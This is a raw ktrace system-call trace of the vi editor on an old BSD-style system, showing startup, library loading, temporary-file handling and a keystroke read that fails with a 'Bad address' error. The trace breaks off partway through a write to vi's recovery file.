ktrace RET break 0 1211 ktrace CALL break(0x6000) 1211 ktrace RET break 0 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/local/sbin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/home/k3cr/tenser/bin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/var/qmail/bin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/usr/local/bin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/usr/local/teTeX/bin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/usr/local/etc/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/usr/local/sbin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/usr/local/libexec/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/bin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/sbin/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/etc/vi" 1211 ktrace RET execve -1 errno 2 No such file or directory 1211 ktrace CALL execve(0xefbfd328,0xefbfd788,0xefbfd794) 1211 ktrace NAMI "/usr/bin/vi" 1211 vi RET execve 0 1211 vi CALL open(0x109c,0,0) 1211 vi NAMI "/usr/libexec/ld.so" 1211 vi RET open 3 1211 vi CALL read(0x3,0xefbfd730,0x20) 1211 vi GIO fd 3 read 32 bytes "Ě\0\M^FŔ\0Đ\0\0\0 \0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0xd000,0x5,0x2,0x3,0,0,0) 1211 vi RET mmap 134500352/0x8045000 1211 vi CALL mmap(0x8052000,0x2000,0x3,0x12,0x3,0,0xd000,0) 1211 vi RET mmap 134553600/0x8052000 1211 vi CALL getuid 1211 vi RET getuid 1000/0x3e8 1211 vi CALL geteuid 1211 vi RET geteuid 1000/0x3e8 1211 vi CALL getgid 1211 vi RET getgid 20/0x14 1211 vi CALL getegid 1211 vi RET getegid 20/0x14 1211 vi CALL __sysctl(0xefbfd684,0x2,0x80538bc,0xefbfd68c,0,0) 1211 vi RET __sysctl 0 1211 vi CALL mmap(0,0x8000,0x3,0x1002,0xffffffff,0,0,0) 1211 vi RET mmap 134561792/0x8054000 1211 vi CALL open(0x8046a82,0,0) 1211 vi NAMI "/var/run/ld.so.hints" 1211 vi RET open 4 1211 vi CALL read(0x4,0xefbfd670,0x20) 1211 vi GIO fd 4 read 32 bytes "iHDL\^B\0\0\0 \0\0\0,\0\0\0`\b\0\0i\^E\0\0É\r\0\0A\^E\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0xdc9,0x1,0x1,0x4,0,0,0) 1211 vi RET mmap 134594560/0x805c000 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL stat(0x8057060,0xefbfd64c) 1211 vi NAMI "/usr/lib/libcurses.so.2.0" 1211 vi RET stat 0 1211 vi CALL open(0x8057060,0,0) 1211 vi NAMI "/usr/lib/libcurses.so.2.0" 1211 vi RET open 4 1211 vi CALL read(0x4,0xefbfd62c,0x20) 1211 vi GIO fd 4 read 32 bytes "Ě\0\M^FŔ\0\M^P\0\0\0 \0\0\M^\\^B\0\0Ä\b\0\0 \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0xb29c,0x5,0x2,0x4,0,0,0) 1211 vi RET mmap 134598656/0x805d000 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL mprotect(0x8066000,0x2000,0x7) 1211 vi RET mprotect 0 1211 vi CALL mmap(0x8068000,0x29c,0x7,0x1012,0xffffffff,0,0,0) 1211 vi RET mmap 134643712/0x8068000 1211 vi CALL stat(0x80570a0,0xefbfd574) 1211 vi NAMI "/usr/lib/libtermcap.so.2.1" 1211 vi RET stat 0 1211 vi CALL open(0x80570a0,0,0) 1211 vi NAMI "/usr/lib/libtermcap.so.2.1" 1211 vi RET open 4 1211 vi CALL read(0x4,0xefbfd554,0x20) 1211 vi GIO fd 4 read 32 bytes "Ě\0\M^FŔ\0000\0\0\0\^P\0\0\0\0\0\0Ě\0\0\0 \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0x4000,0x5,0x2,0x4,0,0,0) 1211 vi RET mmap 134647808/0x8069000 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL mprotect(0x806c000,0x1000,0x7) 1211 vi RET mprotect 0 1211 vi CALL mmap(0x806d000,0,0x7,0x1012,0xffffffff,0,0,0) 1211 vi RET mmap 134664192/0x806d000 1211 vi CALL stat(0x8057060,0xefbfd64c) 1211 vi NAMI "/usr/lib/libtcl.so.75.1" 1211 vi RET stat 0 1211 vi CALL open(0x8057060,0,0) 1211 vi NAMI "/usr/lib/libtcl.so.75.1" 1211 vi RET open 4 1211 vi CALL read(0x4,0xefbfd62c,0x20) 1211 vi GIO fd 4 read 32 bytes "Ě\0\M^FŔ\0P\^C\0\0000\0\0\0\0\0\0|\^Q\0\0 \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0x38000,0x5,0x2,0x4,0,0,0) 1211 vi RET mmap 134664192/0x806d000 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL mprotect(0x80a2000,0x3000,0x7) 1211 vi RET mprotect 0 1211 vi CALL mmap(0x80a5000,0,0x7,0x1012,0xffffffff,0,0,0) 1211 vi RET mmap 134893568/0x80a5000 1211 vi CALL stat(0x80570e0,0xefbfd574) 1211 vi NAMI "/usr/lib/libm.so.2.0" 1211 vi RET stat 0 1211 vi CALL open(0x80570e0,0,0) 1211 vi NAMI "/usr/lib/libm.so.2.0" 1211 vi RET open 4 1211 vi CALL read(0x4,0xefbfd554,0x20) 1211 vi GIO fd 4 read 32 bytes "Ě\0\M^FŔ\0P\^A\0\0000\0\0\0\0\0\0004\b\0\0 \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0x18000,0x5,0x2,0x4,0,0,0) 1211 vi RET mmap 134893568/0x80a5000 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL mprotect(0x80ba000,0x3000,0x7) 1211 vi RET mprotect 0 1211 vi CALL mmap(0x80bd000,0,0x7,0x1012,0xffffffff,0,0,0) 1211 vi RET mmap 134991872/0x80bd000 1211 vi CALL stat(0x8057060,0xefbfd64c) 1211 vi NAMI "/usr/lib/libc.so.3.0" 1211 vi RET stat 0 1211 vi CALL open(0x8057060,0,0) 1211 vi NAMI "/usr/lib/libc.so.3.0" 1211 vi RET open 4 1211 vi CALL read(0x4,0xefbfd62c,0x20) 1211 vi GIO fd 4 read 32 bytes "Ě\0\M^FŔ\0\M^@\^E\0\0@\0\0@Ć\0\0ü0\0\0 \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 32/0x20 1211 vi CALL mmap(0,0x68640,0x5,0x2,0x4,0,0,0) 1211 vi RET mmap 134991872/0x80bd000 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL mprotect(0x8115000,0x4000,0x7) 1211 vi RET mprotect 0 1211 vi CALL mmap(0x8119000,0xc640,0x7,0x1012,0xffffffff,0,0,0) 1211 vi RET mmap 135368704/0x8119000 1211 vi CALL mmap(0,0x9000,0x3,0x1002,0xffffffff,0,0,0) 1211 vi RET mmap 135421952/0x8126000 1211 vi CALL munmap(0x805c000,0xdc9) 1211 vi RET munmap 0 1211 vi CALL close(0x3) 1211 vi RET close 0 1211 vi CALL readlink(0x8107d3a,0xefbfd69c,0x3f) 1211 vi NAMI "/etc/malloc.conf" 1211 vi RET readlink -1 errno 2 No such file or directory 1211 vi CALL mmap(0,0x1000,0x3,0x1002,0xffffffff,0,0,0) 1211 vi RET mmap 134594560/0x805c000 1211 vi CALL break(0x48000) 1211 vi RET break 0 1211 vi CALL break(0x49000) 1211 vi RET break 0 1211 vi CALL break(0x4a000) 1211 vi RET break 0 1211 vi CALL ioctl(0,TIOCGETA,0xefbfd6fc) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCGETA,0x49104) 1211 vi RET ioctl 0 1211 vi CALL break(0x4b000) 1211 vi RET break 0 1211 vi CALL break(0x4c000) 1211 vi RET break 0 1211 vi CALL ioctl(0x2,TIOCGETA,0xefbfd460) 1211 vi RET ioctl 0 1211 vi CALL break(0x4d000) 1211 vi RET break 0 1211 vi CALL ioctl(0x2,TIOCGWINSZ,0xefbfd72c) 1211 vi RET ioctl 0 1211 vi CALL fstat(0x1,0xefbfd6ac) 1211 vi RET fstat 0 1211 vi CALL break(0x51000) 1211 vi RET break 0 1211 vi CALL sigaction(0x1,0xefbfd704,0x491a8) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0x2,0xefbfd704,0x491b4) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0xf,0xefbfd704,0x491c0) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0x1c,0xefbfd704,0x491cc) 1211 vi RET sigaction 0 1211 vi CALL open(0xefbfd18b,0x4,0) 1211 vi NAMI "/usr/share/vi/catalog/" 1211 vi RET open 3 1211 vi CALL break(0x52000) 1211 vi RET break 0 1211 vi CALL sigprocmask(0x1,0xffffffff) 1211 vi RET sigprocmask 0 1211 vi CALL getpid 1211 vi RET getpid 1211/0x4bb 1211 vi CALL stat(0xefbfc6ac,0xefbfc5f4) 1211 vi NAMI "/tmp" 1211 vi RET stat 0 1211 vi CALL open(0xefbfc6ac,0xa02,0x180) 1211 vi NAMI "/tmp/bt.001211" 1211 vi RET open 4 1211 vi CALL unlink(0xefbfc6ac) 1211 vi NAMI "/tmp/bt.001211" 1211 vi RET unlink 0 1211 vi CALL sigprocmask(0x3,0) 1211 vi RET sigprocmask -65793/0xfffefeff 1211 vi CALL fcntl(0x4,0x2,0x1) 1211 vi RET fcntl 0 1211 vi CALL fstat(0x4,0xefbfcb3c) 1211 vi RET fstat 0 1211 vi CALL fstat(0x4,0xefbfca3c) 1211 vi RET fstat 0 1211 vi CALL break(0x53000) 1211 vi RET break 0 1211 vi CALL break(0x56000) 1211 vi RET break 0 1211 vi CALL break(0x59000) 1211 vi RET break 0 1211 vi CALL lseek(0x3,0,0,0,0x1) 1211 vi RET lseek 0 1211 vi CALL fstat(0x3,0xefbfcbcc) 1211 vi RET fstat 0 1211 vi CALL getdtablesize 1211 vi RET getdtablesize 64/0x40 1211 vi CALL fcntl(0x3,0x3,0) 1211 vi RET fcntl 4 1211 vi CALL fstat(0x3,0xefbfcb74) 1211 vi RET fstat 0 1211 vi CALL break(0x5b000) 1211 vi RET break 0 1211 vi CALL read(0x3,0x59000,0x2000) 1211 vi GIO fd 3 read 1024 bytes "ÚŇ\0\0\f\0\^D\^A.\0\0\0\fy\0\0\f\0\^D\^B..\0\0ŰŇ\0\0\^P\0\b\^Edutch\0ż\ ďÜŇ\0\0\^P\0\b\aenglish\0ÝŇ\0\0\^P\0\b\^Ffrench\0\0ŢŇ\0\0\^P\0\b\^Fger\ man\0ďßŇ\0\0\^X\0\b\fru_SU.KOI8-R\0T\M^VđŕŇ\0\0\^P\0\b\aspanish\0áŇ\0\ \0\^P\0\b\aswedish\0âŇ\0\0\^\\0 \^Pda_DK.ISO_8859-1\0Ô\M^UňăŇ\0\0\^\\0 \^Pen_AU.ISO_8859-1\0Ô\M^UňäŇ\0\0\^\\0 \^Pen_CA.ISO_8859-1\0Ô\M^UňĺŇ\0\0\^\\0 \^Pen_GB.ISO_8859-1\0Ô\M^UňćŇ\0\0\^\\0 \^Pen_US.ISO_8859-1\0Ô\M^UňçŇ\0\0\^T\0 \bus-ascii\0\M^B\M^XđčŇ\0\0\^\\0 \^Pfr_BE.ISO_8859-1\0Ô\M^UňéŇ\0\0\^\\0 \^Pfr_CA.ISO_8859-1\0Ô\M^UňęŇ\0\0\^\\0 \^Pfr_CH.ISO_8859-1\0Ô\M^UňëŇ\0\0\^\\0 \^Pfr_FR.ISO_8859-1\0Ô\M^UňěŇ\0\0\^\\0 \^Pde_AT.ISO_8859-1\0Ô\M^UňíŇ\0\0\^\\0 \^Pde_CH.ISO_8859-1\0Ô\M^UňîŇ\0\0(\0 \^Pde_DE.ISO_8859-1\0Ô\M^Uň\0\0\0\0\0\0\0\0\0\0\0\0ďŇ\0\0\^\\0 \^Pes_ES.ISO_8859-1\0Ô\M^UňđŇ\0\0ä\^A \^Psv_SE.ISO_8859-1\0Ô\M^Uň\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET read 1024/0x400 1211 vi CALL break(0x5c000) 1211 vi RET break 0 1211 vi CALL close(0x3) 1211 vi RET close 0 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL stat(0x1ef65,0xefbfd548) 1211 vi NAMI "/etc/vi.exrc" 1211 vi RET stat -1 errno 2 No such file or directory 1211 vi CALL stat(0xefbfd0e8,0xefbfd548) 1211 vi NAMI "/home/k3cr/tenser/.nexrc" 1211 vi RET stat -1 errno 2 No such file or directory 1211 vi CALL stat(0xefbfd0e8,0xefbfd548) 1211 vi NAMI "/home/k3cr/tenser/.exrc" 1211 vi RET stat -1 errno 2 No such file or directory 1211 vi CALL stat(0x4c160,0xefbfd520) 1211 vi NAMI "foo" 1211 vi RET stat 0 1211 vi CALL stat(0x470e0,0xefbfd084) 1211 vi NAMI "/var/tmp/vi.recover" 1211 vi RET stat 0 1211 vi CALL getpid 1211 vi RET getpid 1211/0x4bb 1211 vi CALL stat(0xefbfcc84,0xefbfcbc4) 1211 vi NAMI "/var/tmp/vi.recover" 1211 vi RET stat 0 1211 vi CALL open(0xefbfcc84,0xa02,0x180) 1211 vi NAMI "/var/tmp/vi.recover/vi.001211" 1211 vi RET open 3 1211 vi CALL chmod(0xefbfcc84,0x1c0) 1211 vi NAMI "/var/tmp/vi.recover/vi.001211" 1211 vi RET chmod 0 1211 vi CALL close(0x3) 1211 vi RET close 0 1211 vi CALL open(0x4c160,0x4,0x1b6) 1211 vi NAMI "foo" 1211 vi RET open 3 1211 vi CALL open(0x47240,0x2,0x180) 1211 vi NAMI "/var/tmp/vi.recover/vi.001211" 1211 vi RET open 4 1211 vi CALL fcntl(0x4,0x2,0x1) 1211 vi RET fcntl 0 1211 vi CALL fstat(0x4,0xefbfcfa4) 1211 vi RET fstat 0 1211 vi CALL fstat(0x4,0xefbfcea4) 1211 vi RET fstat 0 1211 vi CALL lseek(0x3,0,0,0,0x1) 1211 vi RET lseek 0 1211 vi CALL fstat(0x3,0xefbfd034) 1211 vi RET fstat 0 1211 vi CALL fcntl(0x3,0x3,0) 1211 vi RET fcntl 4 1211 vi CALL fstat(0x3,0xefbfcf2c) 1211 vi RET fstat 0 1211 vi CALL read(0x3,0x55000,0x2000) 1211 vi GIO fd 3 read 15 bytes "asdf asdf asdf " 1211 vi RET read 15/0xf 1211 vi CALL read(0x3,0x55000,0x2000) 1211 vi GIO fd 3 read 0 bytes "" 1211 vi RET read 0 1211 vi CALL sigprocmask(0x1,0xffffffff) 1211 vi RET sigprocmask 0 1211 vi CALL getpid 1211 vi RET getpid 1211/0x4bb 1211 vi CALL stat(0xefbfcb00,0xefbfca48) 1211 vi NAMI "/tmp" 1211 vi RET stat 0 1211 vi CALL open(0xefbfcb00,0xa02,0x180) 1211 vi NAMI "/tmp/bt.001211" 1211 vi RET open 5 1211 vi CALL unlink(0xefbfcb00) 1211 vi NAMI "/tmp/bt.001211" 1211 vi RET unlink 0 1211 vi CALL sigprocmask(0x3,0) 1211 vi RET sigprocmask -65793/0xfffefeff 1211 vi CALL fcntl(0x5,0x2,0x1) 1211 vi RET fcntl 0 1211 vi CALL fstat(0x5,0xefbfcf90) 1211 vi RET fstat 0 1211 vi CALL fstat(0x5,0xefbfce90) 1211 vi RET fstat 0 1211 vi CALL break(0x5f000) 1211 vi RET break 0 1211 vi CALL flock(0x3,0x6) 1211 vi RET flock 0 1211 vi CALL access(0x4c160,0x2) 1211 vi NAMI "foo" 1211 vi RET access 0 1211 vi CALL ioctl(0x1,TIOCGETA,0xefbfd48c) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCGETA,0x8059000) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd444) 1211 vi RET ioctl 0 1211 vi CALL break(0x60000) 1211 vi RET break 0 1211 vi CALL ioctl(0x2,TIOCGETA,0xefbfd1bc) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCGWINSZ,0xefbfd484) 1211 vi RET ioctl 0 1211 vi CALL break(0x61000) 1211 vi RET break 0 1211 vi CALL sigaction(0x12,0xefbfd470,0xefbfd464) 1211 vi RET sigaction 0 1211 vi CALL fstat(0x1,0xefbfd3e0) 1211 vi RET fstat 0 1211 vi CALL sigaction(0x1,0xefbfd488,0) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0x2,0xefbfd488,0) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0xf,0xefbfd488,0) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0x1c,0xefbfd488,0) 1211 vi RET sigaction 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd46c) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd46c) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd46c) 1211 vi RET ioctl 0 1211 vi CALL write(0x1,0x4d000,0x6c) 1211 vi GIO fd 1 wrote 108 bytes "\^[7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[1;25r\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\^[8\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[?1h\^[=" 1211 vi RET write 108/0x6c 1211 vi CALL sigaction(0x12,0xefbfd490,0xefbfd484) 1211 vi RET sigaction 0 1211 vi CALL ioctl(0,TIOCGETA,0x4915c) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd484) 1211 vi RET ioctl 0 1211 vi CALL write(0x1,0x4d000,0x24e) 1211 vi GIO fd 1 wrote 590 bytes "\^[[H\^[[J\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0asdf\^[[H asdf\r asdf\r ~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~ \b~\^[[H" 1211 vi RET write 590/0x24e 1211 vi CALL write(0x1,0x4d000,0x53) 1211 vi GIO fd 1 wrote 83 bytes "\^[[25;1H\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0foo: unmodified: line 1\^[[H" 1211 vi RET write 83/0x53 1211 vi CALL read(0,0x49000,0xff) 1211 vi GIO fd 0 read 1 bytes "j" 1211 vi RET read 1 1211 vi CALL break(0x62000) 1211 vi RET break 0 1211 vi CALL write(0x1,0x4d000,0x5e) 1211 vi GIO fd 1 wrote 94 bytes "\^[[25;1H\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[K\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[H " 1211 vi RET write 94/0x5e 1211 vi CALL read(0,0x49000,0xff) 1211 vi GIO fd 0 read 1 bytes "j" 1211 vi RET read 1 1211 vi CALL write(0x1,0x4d000,0x1) 1211 vi GIO fd 1 wrote 1 bytes " " 1211 vi RET write 1 1211 vi CALL read(0,0x49000,0xff) 1211 vi GIO fd 0 read 1 bytes "j" 1211 vi RET read 1 1211 vi CALL write(0x1,0x15a4,0x1) 1211 vi GIO fd 1 wrote 1 bytes "\a" 1211 vi RET write 1 1211 vi CALL read(0,0x49000,0xff) 1211 vi RET read -1 errno 14 Bad address 1211 vi CALL write(0x1,0x4d000,0x6f) 1211 vi GIO fd 1 wrote 111 bytes "\^[[25;1H\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[7m\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0Error: input: Bad address\^[[H " 1211 vi RET write 111/0x6f 1211 vi CALL close(0x3) 1211 vi RET close 0 1211 vi CALL lseek(0x4,0,0x400,0,0) 1211 vi RET lseek 1024/0x400 1211 vi CALL write(0x4,0x5401c,0x400) 1211 vi GIO fd 4 wrote 1024 bytes "\^A\0\0\0\0\0\0\0\0\0\0\0\^P\0\0\0\^Z\0Ü\^Cô\^Cč\^CÜ\^C\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 